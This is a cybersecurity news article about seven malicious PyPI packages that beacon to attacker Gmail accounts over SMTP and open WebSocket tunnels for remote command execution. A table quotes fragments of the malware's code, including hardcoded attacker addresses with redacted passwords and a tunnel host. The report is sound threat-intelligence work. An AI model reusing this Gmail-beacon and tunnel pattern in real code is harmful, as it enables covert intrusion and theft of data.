Sunday, May 18, 2025
HomeCyber Security NewsSeven Malicious Packages Exploit Gmail SMTP to Run Harmful Commands

Seven Malicious Packages Exploit Gmail SMTP to Run Harmful Commands

Published on

SIEM as a Service

Follow Us on Google News

A major supply chain security incident has rocked the Python open-source community as researchers at Socket’s Threat Research Team uncovered seven interconnected malicious packages published on the Python Package Index (PyPI).

These packages Coffin-Codes-Pro, Coffin-Codes-NET2, Coffin-Codes-NET, Coffin-Codes-2022, Coffin2022, Coffin-Grave, and cfc-bsb-were ingeniously designed to exploit Gmail’s SMTP service, establishing covert command-and-control tunnels and enabling attackers to execute arbitrary commands on compromised machines.

Sophisticated Abuse of Gmail’s SMTP

What sets these packages apart from the typical malware found on PyPI is their reliance on Gmail’s Simple Mail Transfer Protocol (SMTP) for communication.

- Advertisement - Google News

This allows the traffic generated by the malware to blend in as legitimate email traffic, sidestepping most firewall and endpoint detection systems that inherently trust Gmail’s infrastructure.

Below is a structured table summarizing each of the seven malicious Python packages uncovered, the email addresses and SMTP accounts used, key code behaviors, and notable technical details from the investigation. Redacted credentials are marked for safety.

Package NameKey Malicious Code/Technique
Coffin-Codes-Prosrv = smtplib.SMTP_SSL(“smtp.gmail.com”, 465)
srv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Codes-NET2srv.login(“hackingbsb@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Codes-NETsrv.login(“btcchain2@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Codes-2022srv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin2022srv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Gravesrv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
cfc-bsbWebSocket tunneling to wss://open.jprq.live
No SMTP/email or credential exfiltration

According to the Socket Findings, upon installation, the packages establish SSL-encrypted connections to Gmail servers using hardcoded credentials tied to attacker-controlled accounts (notably sphacoffin@gmail.com and others).

Initial messages are sent to another attacker mailbox, blockchain.bitcoins2020@gmail.com, as a confirmation that the malicious implant is active.

The core functionality centers on setting up a clandestine tunnel. After the initial beacon, the malicious modules open a secure WebSocket channel to receive further instructions. The attacker can then leverage this tunnel to:

  • Exfiltrate sensitive data
  • Execute arbitrary shell commands or scripts
  • Harvest credentials or access admin panels
  • Transfer files in and out of victim networks
  • Pivot further into internal networks
  • Package Details and Timeline

Each package had slight variations:

  • Coffin-Codes-Pro: Established the initial attack pattern, signaling the implant and forwarding tunnel information to the attacker.
  • Coffin-Codes-NET2 & Coffin-Codes-NET: Employed new Gmail accounts and minor code changes, illustrating the attacker’s persistent efforts.
  • Coffin-Codes-2022, Coffin2022, Coffin-Grave: Functionally mirrored the original package, with reused credentials and workflow across different PyPI entries.
  • cfc-bsb: The oldest and least overtly malicious, dating to March 2021. While it lacked direct email exfiltration, it still facilitated tunnel-forwarding and posed significant risks.

The only clues to the attacker’s identity are the handful of Gmail addresses used and the recurring Bitcoin and Solana-related references, suggesting possible ties to prior crypto-targeted attacks.

The packages have since been removed from PyPI, but their extended presence-dating as far back as 2021-underscores the difficulty of policing open-source repositories.

As open-source supply chain attacks become more stealthy and creative, awareness and vigilance must rise across the software development lifecycle.

Find this News Interesting! Follow us on Google NewsLinkedIn, & X to Get Instant Updates!

Divya
Divya
Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Latest articles

VMware ESXi, Firefox, Red Hat Linux & SharePoint Hacked – Pwn2Own Day 2

Security researchers demonstrated their prowess on the second day of Pwn2Own Berlin 2025, discovering...

Critical WordPress Plugin Flaw Puts Over 10,000 Sites of Cyberattack

A serious security flaw affecting the Eventin plugin, a popular event management solution for...

Sophisticated NPM Attack Leverages Google Calendar2 for Advanced Communication

A startling discovery in the npm ecosystem has revealed a highly sophisticated malware campaign...

New Ransomware Attack Targets Elon Musk Supporters Using PowerShell to Deploy Payloads

A newly identified ransomware campaign has emerged, seemingly targeting supporters of Elon Musk through...

Resilience at Scale

Why Application Security is Non-Negotiable

The resilience of your digital infrastructure directly impacts your ability to scale. And yet, application security remains a critical weak link for most organizations.

Application Security is no longer just a defensive play—it’s the cornerstone of cyber resilience and sustainable growth. In this webinar, Karthik Krishnamoorthy (CTO of Indusface) and Phani Deepak Akella (VP of Marketing – Indusface), will share how AI-powered application security can help organizations build resilience by

Discussion points


Protecting at internet scale using AI and behavioral-based DDoS & bot mitigation.
Autonomously discovering external assets and remediating vulnerabilities within 72 hours, enabling secure, confident scaling.
Ensuring 100% application availability through platforms architected for failure resilience.
Eliminating silos with real-time correlation between attack surface and active threats for rapid, accurate mitigation

More like this

VMware ESXi, Firefox, Red Hat Linux & SharePoint Hacked – Pwn2Own Day 2

Security researchers demonstrated their prowess on the second day of Pwn2Own Berlin 2025, discovering...

Critical WordPress Plugin Flaw Puts Over 10,000 Sites of Cyberattack

A serious security flaw affecting the Eventin plugin, a popular event management solution for...

Sophisticated NPM Attack Leverages Google Calendar2 for Advanced Communication

A startling discovery in the npm ecosystem has revealed a highly sophisticated malware campaign...